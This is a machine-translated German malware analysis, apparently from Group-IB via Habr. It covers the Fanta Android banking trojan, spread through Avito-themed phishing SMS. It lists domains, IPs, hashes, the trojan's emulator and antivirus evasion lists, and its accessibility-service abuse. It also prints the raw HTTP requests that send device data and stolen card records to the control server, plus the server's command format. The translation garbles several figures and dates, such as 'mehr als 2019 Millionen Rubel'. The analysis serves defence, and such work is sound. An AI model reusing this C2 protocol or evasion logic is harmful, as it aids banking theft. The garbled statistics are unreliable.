Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner

Eines Tages möchten Sie etwas auf Avito verkaufen und erhalten nach der Veröffentlichung einer detaillierten Beschreibung Ihres Produkts (z. B. eines RAM-Moduls) diese Nachricht:

Leysya, Fanta: eine neue Taktik für einen alten Android-TrojanerSobald Sie den Link öffnen, sehen Sie eine scheinbar harmlose Seite, die Sie, den glücklichen und erfolgreichen Verkäufer, darüber informiert, dass ein Kauf getätigt wurde:

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
Sobald Sie auf die Schaltfläche „Weiter“ klicken, wird eine APK-Datei mit einem Symbol und einem vertrauensbildenden Namen auf Ihr Android-Gerät heruntergeladen. Sie haben eine Anwendung installiert, die aus irgendeinem Grund AccessibilityService-Rechte angefordert hat, dann sind ein paar Fenster erschienen und schnell wieder verschwunden und ... Das war's.

Sie wollen Ihren Kontostand überprüfen, aber aus irgendeinem Grund fragt Ihre Banking-App erneut nach Ihren Kartendaten. Nach der Eingabe der Daten passiert etwas Schreckliches: Aus irgendeinem für Sie noch unklaren Grund beginnt das Geld von Ihrem Konto zu verschwinden. Sie versuchen, das Problem zu lösen, aber Ihr Telefon wehrt sich: Es drückt die „Zurück“- und „Home“-Tasten, schaltet sich nicht aus und erlaubt Ihnen nicht, Sicherheitsmaßnahmen zu aktivieren. Die Folge ist, dass Sie kein Geld mehr haben, Ihre Waren nicht gekauft wurden, Sie verwirrt sind und sich fragen: Was ist passiert?

Die Antwort ist einfach: Sie sind Opfer des Android-Trojaners Fanta, einem Mitglied der Flexnet-Familie, geworden. Wie ist das passiert? Lassen Sie es uns jetzt erklären.

Autoren: Andrey Polovinkin, Junior-Spezialist für Malware-Analyse, Ivan Pisarev, Spezialist für Malware-Analyse.

Einige Statistiken

Die Flexnet-Familie der Android-Trojaner wurde erstmals im Jahr 2015 bekannt. Im Laufe einer längeren Aktivitätszeit erweiterte sich die Familie um mehrere Unterarten: Fanta, Limebot, Lipton usw. Der Trojaner und die damit verbundene Infrastruktur stehen nicht still: Es werden neue effektive Verbreitungsschemata entwickelt – in unserem Fall hochwertige Phishing-Seiten, die sich an einen bestimmten Benutzer-Verkäufer richten, und die Trojaner-Entwickler folgen den Modetrends Virenschreiben – Hinzufügen neuer Funktionen, die es ermöglichen, effizienter Geld von infizierten Geräten zu stehlen und Schutzmechanismen zu umgehen.

Die in diesem Artikel beschriebene Kampagne richtet sich an Nutzer aus Russland; in der Ukraine wurden nur wenige infizierte Geräte registriert, in Kasachstan und Weißrussland noch weniger.

Obwohl Flexnet nun schon seit über vier Jahren im Android-Trojaner-Bereich aktiv ist und von vielen Forschern eingehend untersucht wurde, ist es immer noch in einem guten Zustand. Ab Januar 4 beträgt die potenzielle Schadenshöhe mehr als 2019 Millionen Rubel – und dies gilt nur für Kampagnen in Russland. Im Jahr 35 wurden verschiedene Versionen dieses Android-Trojaners in Untergrundforen verkauft, wo auch der Quellcode des Trojaners mit einer detaillierten Beschreibung zu finden war. Umso beeindruckender sind die Schadensstatistiken weltweit. Kein schlechter Indikator für einen so alten Mann, nicht wahr?

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner

Vom Verkauf bis zur Täuschung

Wie aus dem zuvor präsentierten Screenshot einer Phishing-Seite des Internetdienstes zum Schalten von Anzeigen Avito hervorgeht, war diese für ein bestimmtes Opfer vorbereitet. Offenbar nutzen die Angreifer einen Parser von Avito, der die Telefonnummer und den Namen des Verkäufers sowie die Produktbeschreibung extrahiert. Nach dem Erweitern der Seite und dem Vorbereiten der APK-Datei erhält das Opfer eine SMS mit seinem Namen und einem Link zu einer Phishing-Seite, die eine Beschreibung seines Produkts und den durch den „Verkauf“ des Produkts erhaltenen Betrag enthält. Durch Klicken auf die Schaltfläche erhält der Benutzer eine schädliche APK-Datei – Fanta.

Eine Untersuchung der shcet491[.]ru-Domäne ergab, dass sie an die DNS-Server von Hostinger delegiert ist:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Die Domänenzonendatei enthält Einträge, die auf die IP-Adressen 31.220.23[.]236, 31.220.23[.]243 und 31.220.23[.]235 verweisen. Der primäre Ressourceneintrag (A-Eintrag) der Domäne verweist jedoch auf einen Server mit der IP-Adresse 178.132.1[.]240.

Die IP-Adresse 178.132.1[.]240 liegt in den Niederlanden und gehört dem Hoster Weltstrom. Die IP-Adressen 31.220.23[.]235, 31.220.23[.]236 und 31.220.23[.]243 befinden sich im Vereinigten Königreich und gehören zum Shared-Hosting-Server HOSTINGER. Wird als Rekorder verwendet openprov-ru. Die folgenden Domänen wurden ebenfalls in die IP-Adresse 178.132.1[.]240 aufgelöst:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Es ist zu beachten, dass von fast allen Domains Links im folgenden Format verfügbar waren:

http://(www.){0,1}<%domain%>/[0-9]{7}

Diese Vorlage enthält auch einen Link aus einer SMS-Nachricht. Basierend auf historischen Daten wurde festgestellt, dass eine Domäne mehreren Links im oben beschriebenen Muster entspricht, was darauf hindeutet, dass eine Domäne zur Verbreitung des Trojaners an mehrere Opfer verwendet wurde.

Machen wir einen kleinen Sprung nach vorn: Der über einen Link aus einer SMS heruntergeladene Trojaner nutzt die Adresse als Kontrollserver onusedseddohap[.]club. Diese Domain wurde am 2019 registriert und ab dem 03 interagierten APK-Anwendungen mit dieser Domain. Basierend auf Daten von VirusTotal interagierten insgesamt 12 Anwendungen mit diesem Server. Die Domäne selbst wurde in die IP-Adresse aufgelöst 217.23.14[.]27, befindet sich in den Niederlanden und gehört dem Hoster Weltstrom. Wird als Rekorder verwendet namecheap. Auch Domänen werden zu dieser IP-Adresse aufgelöst bad-racoon[.]club (ab 2018) und bad-raccoon[.]live (ab 2018). Mit Domain bad-racoon[.]club Es wurde mit mehr als 80 APK-Dateien interagiert bad-raccoon[.]live - mehr als 100.

Im Allgemeinen verläuft der Angriff wie folgt:

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner

Was steckt unter Fantas Deckel?

Wie viele andere Android-Trojaner ist Fanta in der Lage, SMS-Nachrichten zu lesen und zu versenden, USSD-Anfragen zu stellen und eigene Fenster über Anwendungen (einschließlich Banking-Anwendungen) anzuzeigen. Das Arsenal an Funktionalität dieser Familie ist jedoch angekommen: Fanta begann zu verwenden Zugänglichkeitsdienst für verschiedene Zwecke: Lesen des Inhalts von Benachrichtigungen anderer Anwendungen, Verhindern der Erkennung und Stoppen der Ausführung eines Trojaners auf einem infizierten Gerät usw. Fanta funktioniert auf allen Android-Versionen, die nicht jünger als 4.4 sind. In diesem Artikel werden wir uns das folgende Fanta-Beispiel genauer ansehen:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Unmittelbar nach dem Start

Unmittelbar nach dem Start verbirgt der Trojaner sein Symbol. Die Anwendung kann nur funktionieren, wenn der Name des infizierten Geräts nicht in der Liste enthalten ist:

  • android_x86
  • VirtualBox
  • Nexus 5X (Grosskopf)
  • Nexus 5 (Rasierer)

Diese Prüfung wird im Hauptdienst des Trojaners durchgeführt - Hauptservice. Beim ersten Start werden die Konfigurationsparameter der Anwendung auf Standardwerte initialisiert (das Format zum Speichern von Konfigurationsdaten und ihre Bedeutung werden später erläutert) und ein neues infiziertes Gerät wird auf dem Kontrollserver registriert. Eine HTTP-POST-Anfrage mit dem Nachrichtentyp wird an den Server gesendet register_bot und Informationen über das infizierte Gerät (Android-Version, IMEI, Telefonnummer, Name des Betreibers und Ländercode, in dem der Betreiber registriert ist). Die Adresse dient als Kontrollserver hXXp://onuseseddohap[.]club/controller.php. Als Antwort sendet der Server eine Nachricht mit den Feldern bot_id, bot_pwd, Server — Die Anwendung speichert diese Werte als Parameter des CnC-Servers. Parameter Server optional, wenn das Feld nicht empfangen wurde: Fanta verwendet die Registrierungsadresse - hXXp://onuseseddohap[.]club/controller.php. Mit der Funktion zum Ändern der CnC-Adresse lassen sich zwei Probleme lösen: Die Last gleichmäßig auf mehrere Server verteilen (bei einer großen Anzahl infizierter Geräte kann die Belastung eines nicht optimierten Webservers hoch sein) und auch nutzen ein alternativer Server bei Ausfall eines der CnC-Server.

Tritt beim Senden der Anfrage ein Fehler auf, wiederholt der Trojaner den Registrierungsvorgang nach 20 Sekunden.

Sobald das Gerät erfolgreich registriert wurde, zeigt Fanta dem Benutzer die folgende Meldung an:

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
Wichtiger Hinweis: Der Dienst wurde angerufen Systemsicherheit — der Name des Trojaner-Dienstes und nach dem Klicken auf die Schaltfläche OK Es öffnet sich ein Fenster mit den Barrierefreiheitseinstellungen des infizierten Geräts, in dem der Benutzer dem bösartigen Dienst Barrierefreiheitsrechte gewähren muss:

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
Sobald der Benutzer einschaltet ZugänglichkeitsdienstFanta erhält Zugriff auf den Inhalt von Anwendungsfenstern und die darin ausgeführten Aktionen:

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
Unmittelbar nach Erhalt der Barrierefreiheitsrechte fordert der Trojaner Administratorrechte und Rechte zum Lesen von Benachrichtigungen an:

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
Mithilfe des AccessibilityService simuliert die Anwendung Tastenanschläge und verschafft sich so alle notwendigen Rechte.

Fanta erstellt mehrere Datenbankinstanzen (die später beschrieben werden), die zum Speichern von Konfigurationsdaten sowie der dabei gesammelten Informationen über das infizierte Gerät erforderlich sind. Um die gesammelten Informationen zu versenden, erstellt der Trojaner eine wiederkehrende Aufgabe, die darauf ausgelegt ist, Felder aus der Datenbank herunterzuladen und einen Befehl vom Kontrollserver zu empfangen. Das Intervall für den Zugriff auf CnC ist abhängig von der Android-Version: Bei 5.1 beträgt das Intervall 10 Sekunden, ansonsten 60 Sekunden.

Um den Befehl zu erhalten, stellt Fanta eine Anfrage GetTask an den Verwaltungsserver. Als Antwort kann CnC einen der folgenden Befehle senden:

Team Beschreibung
0 SMS-Nachricht senden
1 Tätigen Sie einen Anruf oder einen USSD-Befehl
2 Aktualisiert einen Parameter Intervall
3 Aktualisiert einen Parameter abfangen
6 Aktualisiert einen Parameter smsManager
9 Beginnen Sie mit dem Sammeln von SMS-Nachrichten
11 Setzen Sie Ihr Telefon auf die Werkseinstellungen zurück
12 Protokollierung der Dialogfelderstellung aktivieren/deaktivieren

Fanta sammelt außerdem Benachrichtigungen von 70 Banking-Apps, Schnellzahlungssystemen und E-Wallets und speichert sie in einer Datenbank.

Konfigurationsparameter speichern

Um Konfigurationsparameter zu speichern, verwendet Fanta einen Standardansatz für die Android-Plattform: Voreinstellungen-Dateien. Die Einstellungen werden in einer Datei mit dem Namen gespeichert Einstellungen. Eine Beschreibung der gespeicherten Parameter finden Sie in der folgenden Tabelle.

Name Standardwert Mögliche Werte Beschreibung
id 0 ganze Zahl Bot-ID
Server hXXp://onuseseddohap[.]club/ URL Adresse des Kontrollservers
pwd - Schnur Server-Passwort
Intervall 20 ganze Zahl Zeitintervall. Gibt an, wie lange die folgenden Aufgaben zurückgestellt werden sollen:

  • Beim Senden einer Anfrage zum Status einer gesendeten SMS-Nachricht
  • Empfangen eines neuen Befehls vom Verwaltungsserver

abfangen alle all/telNumber Wenn das Feld gleich der Zeichenfolge ist alle oder Telefonnummer, dann wird die empfangene SMS-Nachricht von der Anwendung abgefangen und dem Benutzer nicht angezeigt
smsManager 0 0/1 Aktivieren/deaktivieren Sie die Anwendung als Standard-SMS-Empfänger
readDialog falsch Wahr falsch Ereignisprotokollierung aktivieren/deaktivieren Barrierefreiheitsereignis

Auch Fanta nutzt die Datei smsManager:

Name Standardwert Mögliche Werte Beschreibung
pkg - Schnur Name des verwendeten SMS-Nachrichtenmanagers

Interaktion mit Datenbanken

Während seines Betriebs nutzt der Trojaner zwei Datenbanken. Datenbank benannt a Wird zum Speichern verschiedener vom Telefon gesammelter Informationen verwendet. Die zweite Datenbank wird benannt fanta.db und wird zum Speichern von Einstellungen verwendet, die für die Erstellung von Phishing-Fenstern zum Sammeln von Informationen über Bankkarten verantwortlich sind.

Trojaner nutzt Datenbank а um gesammelte Informationen zu speichern und Ihre Aktionen zu protokollieren. Die Daten werden in einer Tabelle gespeichert Protokolle. Um eine Tabelle zu erstellen, verwenden Sie die folgende SQL-Abfrage:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Die Datenbank enthält folgende Informationen:

1. Protokollierung des Starts des infizierten Geräts mit einer Meldung Das Telefon ist eingeschaltet!

2. Benachrichtigungen von Bewerbungen. Die Meldung wird nach folgender Vorlage generiert:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Bankkartendaten aus Phishing-Formularen, die vom Trojaner erstellt wurden. Parameter VIEW_NAME kann einer der folgenden sein:

  • AliExpress
  • Avito
  • Google Play
  • Sonstiges <%App Name%>

Die Nachricht wird im folgenden Format protokolliert:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Eingehende/ausgehende SMS-Nachrichten im Format:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Informationen über das Paket, das das Dialogfeld im Format erstellt:

(<%Package name%>)<%Package information%>

Beispieltabelle Protokolle:

Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
Eine der Funktionen von Fanta ist die Erfassung von Informationen zu Bankkarten. Die Datenerfassung erfolgt durch die Erstellung von Phishing-Fenstern beim Öffnen von Bankanwendungen. Der Trojaner erstellt das Phishing-Fenster nur einmal. Die Information, dass das Fenster dem Benutzer angezeigt wurde, wird in einer Tabelle gespeichert Einstellungen in der Datenbank fanta.db. Um eine Datenbank zu erstellen, verwenden Sie die folgende SQL-Abfrage:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Alle Tabellenfelder Einstellungen standardmäßig auf 1 initialisiert (Phishing-Fenster erstellen). Nachdem der Benutzer seine Daten eingegeben hat, wird der Wert auf 0 gesetzt. Beispiel für Tabellenfelder Einstellungen:

  • can_login — Das Feld ist für die Anzeige des Formulars beim Öffnen einer Bankanwendung verantwortlich
  • erste_bank - Wird nicht benutzt
  • can_avito — Das Feld ist für die Anzeige des Formulars beim Öffnen der Avito-Anwendung verantwortlich
  • can_ali — Das Feld ist für die Anzeige des Formulars beim Öffnen der Aliexpress-Anwendung verantwortlich
  • can_andere — Das Feld ist für die Anzeige des Formulars beim Öffnen einer Anwendung aus der Liste verantwortlich: Yula, Pandao, Drom Auto, Geldbörse. Rabatt- und Bonuskarten, Aviasales, Booking, Trivago
  • can_card — Das Feld ist für die Anzeige des Formulars beim Öffnen verantwortlich Google Play

Interaktion mit dem Verwaltungsserver

Die Netzwerkinteraktion mit dem Verwaltungsserver erfolgt über das HTTP-Protokoll. Um mit dem Netzwerk zu arbeiten, nutzt Fanta die beliebte Retrofit-Bibliothek. Anfragen werden an folgende Adresse gesendet: hXXp://onuseseddohap[.]club/controller.php. Die Serveradresse kann bei der Registrierung am Server geändert werden. Cookies können als Antwort vom Server gesendet werden. Fanta stellt folgende Anfragen an den Server:

  • Die Registrierung des Bots auf dem Kontrollserver erfolgt einmalig beim ersten Start. Folgende Daten über das infizierte Gerät werden an den Server gesendet:
    · Cookie — Vom Server empfangene Cookies (Standardwert ist eine leere Zeichenfolge)
    · Modus — String-Konstante register_bot
    · Präfix — ganzzahlige Konstante 2
    · version_sdk — wird nach folgender Vorlage gebildet: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · imei – IMEI des infizierten Geräts
    · Land — Code des Landes, in dem der Betreiber registriert ist, im ISO-Format
    · Anzahl - Telefonnummer
    · Operator - Name des Bedieners

    Ein Beispiel für eine an den Server gesendete Anfrage:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    Als Antwort auf die Anfrage muss der Server ein JSON-Objekt zurückgeben, das die folgenden Parameter enthält:
    · bot_id — ID des infizierten Geräts. Wenn bot_id gleich 0 ist, führt Fanta die Anfrage erneut aus.
    bot_pwd — Passwort für den Server.
    Server — Adresse des Kontrollservers. Optionaler Parameter. Wenn der Parameter nicht angegeben wird, wird die in der Anwendung gespeicherte Adresse verwendet.

    Beispiel für ein JSON-Objekt:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Anfrage zum Empfang eines Befehls vom Server. Folgende Daten werden an den Server gesendet:
    · Cookie — Vom Server empfangene Cookies
    · Gebot — ID des infizierten Geräts, die beim Senden der Anfrage empfangen wurde register_bot
    · pwd – Passwort für den Server
    · geräte_admin — Das Feld bestimmt, ob Administratorrechte erworben wurden. Wenn Administratorrechte erworben wurden, ist das Feld gleich 1ansonsten 0
    · Zugänglichkeit – Betriebsstatus des Barrierefreiheitsdienstes. Wenn der Dienst gestartet wurde, lautet der Wert 1ansonsten 0
    · SMSManager – zeigt an, ob der Trojaner als Standardanwendung für den Empfang von SMS aktiviert ist
    · Bildschirm – Zeigt an, in welchem ​​Zustand sich der Bildschirm befindet. Der Wert wird eingestellt 1, wenn der Bildschirm eingeschaltet ist, andernfalls 0;

    Ein Beispiel für eine an den Server gesendete Anfrage:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Abhängig vom Befehl kann der Server ein JSON-Objekt mit unterschiedlichen Parametern zurückgeben:

    · Team SMS-Nachricht senden: Die Parameter enthalten die Telefonnummer, den Text der SMS-Nachricht und die ID der gesendeten Nachricht. Der Bezeichner wird verwendet, wenn eine Nachricht mit Typ an den Server gesendet wird setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Team Tätigen Sie einen Anruf oder einen USSD-Befehl: Die Telefonnummer oder der Befehl kommt im Antworttext.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Team Intervallparameter ändern.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Team Intercept-Parameter ändern.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Team Ändern Sie das SMSManager-Feld.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Team Sammeln Sie SMS-Nachrichten von einem infizierten Gerät.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Team Setzen Sie Ihr Telefon auf die Werkseinstellungen zurück:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Team Ändern Sie den ReadDialog-Parameter.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Senden einer Nachricht mit Typ setSmsStatus. Diese Anfrage wird gestellt, nachdem der Befehl ausgeführt wurde SMS-Nachricht senden. Die Anfrage sieht so aus:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Hochladen von Datenbankinhalten. Pro Anfrage wird eine Zeile übertragen. Folgende Daten werden an den Server gesendet:
    · Cookie — Vom Server empfangene Cookies
    · Modus — String-Konstante setSaveInboxSms
    · Gebot — ID des infizierten Geräts, die beim Senden der Anfrage empfangen wurde register_bot
    · Text — Text im aktuellen Datenbankeintrag (Feld d vom Tisch Protokolle in der Datenbank а)
    · Anzahl — Name des aktuellen Datenbankeintrags (Feld p vom Tisch Protokolle in der Datenbank а)
    · sms_mode — ganzzahliger Wert (Feld m vom Tisch Protokolle in der Datenbank а)

    Die Anfrage sieht so aus:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Bei erfolgreicher Übermittlung an den Server wird die Zeile aus der Tabelle gelöscht. Beispiel für ein vom Server zurückgegebenes JSON-Objekt:

    {
        "response":[],
        "status":"ok"
    }

Interaktion mit AccessibilityService

AccessibilityService wurde implementiert, um die Nutzung von Android-Geräten für Menschen mit Behinderungen zu erleichtern. In den meisten Fällen ist eine physische Interaktion erforderlich, um mit einer Anwendung zu interagieren. Mit AccessibilityService können Sie diese programmgesteuert ausführen. Fanta nutzt den Dienst, um gefälschte Fenster in Bankanwendungen zu erstellen und Benutzer daran zu hindern, Systemeinstellungen und einige Anwendungen zu öffnen.

Mithilfe der Funktionalität des AccessibilityService überwacht der Trojaner Änderungen an Elementen auf dem Bildschirm des infizierten Geräts. Wie bereits beschrieben, enthalten die Fanta-Einstellungen einen Parameter, der für die Protokollierung von Vorgängen mit Dialogfeldern verantwortlich ist – readDialog. Wenn dieser Parameter gesetzt ist, werden Informationen über den Namen und die Beschreibung des Pakets, das das Ereignis ausgelöst hat, zur Datenbank hinzugefügt. Der Trojaner führt bei Auslösung von Ereignissen folgende Aktionen aus:

  • Simuliert das Drücken der Zurück- und Home-Taste in den folgenden Fällen:
    · wenn der Benutzer sein Gerät neu starten möchte
    · wenn der Benutzer die Anwendung „Avito“ löschen oder Zugriffsrechte ändern möchte
    · wenn auf der Seite die Anwendung „Avito“ erwähnt wird
    · beim Öffnen der Google Play Protect-Anwendung
    · beim Öffnen von Seiten mit AccessibilityService-Einstellungen
    · wenn das Dialogfeld „Systemsicherheit“ angezeigt wird
    · beim Öffnen der Seite mit den Einstellungen „Über andere App zeichnen“.
    · beim Öffnen der Seite „Anwendungen“, „Wiederherstellung und Zurücksetzen“, „Daten zurücksetzen“, „Einstellungen zurücksetzen“, „Entwicklerfenster“, „Speziell“. Chancen“, „Besondere Chancen“, „Besondere Rechte“
    · ob das Ereignis von bestimmten Anwendungen generiert wurde.

    Liste der Anwendungen

    • androide
    • Master Lite
    • Clean Master
    • Clean Master für x86-CPU
    • Meizu-Anwendungsberechtigungsverwaltung
    • MIUI-Sicherheit
    • Clean Master – Antivirus & Cache- und Garbage Cleaner
    • Kindersicherung und GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Virenreiniger, Antivirus, Reiniger (MAX Security)
    • Mobile AntiVirus Security PRO
    • Avast Antivirus & kostenloser Schutz 2019
    • Mobile Sicherheit MegaFon
    • AVG-Schutz für Xperia
    • Mobile Sicherheit
    • Malwarebytes Antivirus & Schutz
    • Antivirus für Android 2019
    • Security Master – Antivirus, VPN, AppLock, Booster
    • AVG Antivirus für Huawei Tablet System Manager
    • Samsung-Barrierefreiheit
    • Samsung Smart Manager
    • Sicherheitsmeister
    • Geschwindigkeitsverstärker
    • Dr.Web
    • Dr.Web Security Space
    • Dr.Web Mobile Kontrollzentrum
    • Dr.Web Security Space Leben
    • Dr.Web Mobile Kontrollzentrum
    • Antivirus- und mobile Sicherheit
    • Kaspersky Internet Security: Virenschutz und Schutz
    • Kaspersky Battery Life: Schoner & Booster
    • Kaspersky Endpoint Security – Schutz und Verwaltung
    • AVG Antivirus kostenlos 2019 – Schutz für Android
    • Android Antivirus
    • Norton Mobile Security und Antivirus
    • Antivirus, Firewall, VPN, mobile Sicherheit
    • Mobile Security: Virenschutz, VPN, Diebstahlschutz
    • Antivirus für Android

  • Wenn beim Versenden einer SMS-Nachricht an eine Kurznummer eine Erlaubnis angefordert wird, simuliert Fanta das Anklicken des Kontrollkästchens Denken Sie an die Wahl und Knopf senden.
  • Wenn Sie versuchen, dem Trojaner Administratorrechte zu entziehen, sperrt er den Telefonbildschirm.
  • Verhindert das Hinzufügen neuer Administratoren.
  • Wenn die Antivirenanwendung dr.web Wenn Fanta eine Bedrohung erkennt, imitiert sie das Drücken des Knopfes ignorieren.
  • Der Trojaner simuliert das Drücken der Zurück- und Home-Taste, wenn das Ereignis von der Anwendung generiert wurde Samsung Gerätepflege.
  • Fanta erstellt Phishing-Fenster mit Formularen zur Eingabe von Informationen zu Bankkarten, wenn eine Anwendung aus einer Liste von etwa 30 verschiedenen Internetdiensten gestartet wurde. Darunter: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto usw.

    Phishing-Formulare

    Fanta analysiert, welche Anwendungen auf dem infizierten Gerät ausgeführt werden. Wenn eine Anwendung von Interesse geöffnet wurde, zeigt der Trojaner über allen anderen ein Phishing-Fenster an, bei dem es sich um ein Formular zur Eingabe von Bankkarteninformationen handelt. Der Benutzer muss folgende Daten eingeben:

    • Kartennummer
    • Ablaufdatum der Karte
    • CVV
    • Name des Karteninhabers (nicht für alle Banken)

    Abhängig von der ausgeführten Anwendung werden unterschiedliche Phishing-Fenster angezeigt. Nachfolgend finden Sie Beispiele für einige davon:

    AliExpress:

    Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
    Avito:

    Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner
    Für einige andere Anwendungen, z.B. Google Play Market, Aviasales, Pandao, Booking, Trivago:
    Leysya, Fanta: eine neue Taktik für einen alten Android-Trojaner

    Wie es wirklich war

    Glücklicherweise stellte sich heraus, dass es sich bei der Person, die die am Anfang des Artikels beschriebene SMS-Nachricht erhielt, um einen Cybersicherheitsspezialisten handelte. Daher weicht die tatsächliche Version, die nicht vom Direktor stammt, von der zuvor erzählten ab: Eine Person erhielt eine interessante SMS und gab sie anschließend an das Group-IB Threat Hunting Intelligence-Team weiter. Das Ergebnis des Angriffs ist dieser Artikel. Happy End, oder? Allerdings enden nicht alle Geschichten so erfolgreich, und damit Ihre nicht wie ein Director's Cut mit Geldverlust aussieht, reicht es in den meisten Fällen aus, sich an die folgenden lange beschriebenen Regeln zu halten:

    • Installieren Sie keine Anwendungen für ein Mobilgerät mit Android-Betriebssystem aus anderen Quellen als Google Play
    • Achten Sie bei der Installation einer Anwendung besonders auf die von der Anwendung geforderten Rechte
    • Achten Sie auf die Erweiterungen heruntergeladener Dateien
    • Installieren Sie regelmäßig Android-Betriebssystem-Updates
    • Besuchen Sie keine verdächtigen Ressourcen und laden Sie keine Dateien von dort herunter
    • Klicken Sie nicht auf Links, die Sie in SMS-Nachrichten erhalten.

Source: habr.com

Kommentar hinzufügen